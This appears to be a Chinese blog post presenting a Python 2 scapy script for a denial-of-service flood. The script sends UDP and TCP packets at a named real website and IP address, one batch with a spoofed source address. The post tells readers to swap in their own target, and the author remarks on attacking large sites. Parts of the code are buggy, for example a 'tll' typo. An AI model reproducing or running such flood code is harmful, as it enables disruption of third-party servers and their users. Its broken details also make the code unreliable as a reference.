python写一个DDos脚本(DOS)

前言:突然想写,然后去了解原理

 

 

DDOS原理:往指定的IP发送数据包(僵尸网络),导致服务器

拒绝服务,无法正常访问。

0x01:

要用到的模块

1

2

3

4

5

6

scapy模块

pip install scapy

或:

https://github.com/phaethon/scapy

下载setup.py

然后执行python setup.py install<br>系统环境:kali Linux<br>windows会报模块缺少还有一个162行的windows.dll的错误

  打大站,妹的。恶心的一片的站

0x03

代码分析:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

#-*- coding:'utf-8' -*-

import  time

import  struct

from threading import *

import socket

from scapy.all  import  *

start=time.time()

screenlock=Semaphore(value=1000)

print '[^]HAQ DDOs start!'

def DDos():

  try:

    print '[*]Second layers of DDos'

    s=srp(IP(dst="www.dgjy.net",ttl=480)/UDP())#第二层攻击

    print s[0].show()

  except Exception,e:

      print '[-]The cause of the mistake {}'.format(e)

  try:

    print '[*]Third layer DDos'

    p = srloop(IP(dst="www.dgjy.net", ttl=160) / UDP())#第三层攻击

    print p[0].show()

  except Exception,s:

      print '[-]The cause of the mistake{}'.format(s)

  try:

    print '[*]Repeated attacks'

    see=srp(IP(dst="113.108.127.169")/TCP(dport=[80,443]))#重复攻击

    print see[0].show()

  except Exception,f:

      print '[-]The cause of the mistake{}'.format(f)

  try:

    data = struct. pack ('=BHI',0x96,20,1000)

    pkt = IP(src='192.168.225.141',dst='113.108.127.169')/UDP(sport= 12345,dport=[80,443])/data

    print '[*]DDoS attacks are being carried out!'

    screenlock.acquire()

    send (pkt,inter= 1 ,count= 160)

  except Exception,g:

      print "[-]The cause of the mistake{}".format(g)

  try:

      print '[*]DDos'

      gp=sr1(IP(dst="www.dgjy.net",tll=(1,160))/UDP())

  except Exception,i:

      print '[-]cause of the mistake{}'.format(i)

t = Thread(target=DDos, args=())

t.start()

end=time.time()

print '[!]Time consuming of this program,The first time is the initialization time:',end-start

  食用文档:https://phaethon.github.io/scapy/api/usage.html#starting-scapy

      github下载地址:https://github.com/422926799/python

      自己修改目标

        恶意攻击他人服务器出事请自行负责。

 

posted @ 2019-05-20 19:59  无聊的菜鸟  阅读(577)  评论(0)    收藏  举报
CopyRight 2020-2021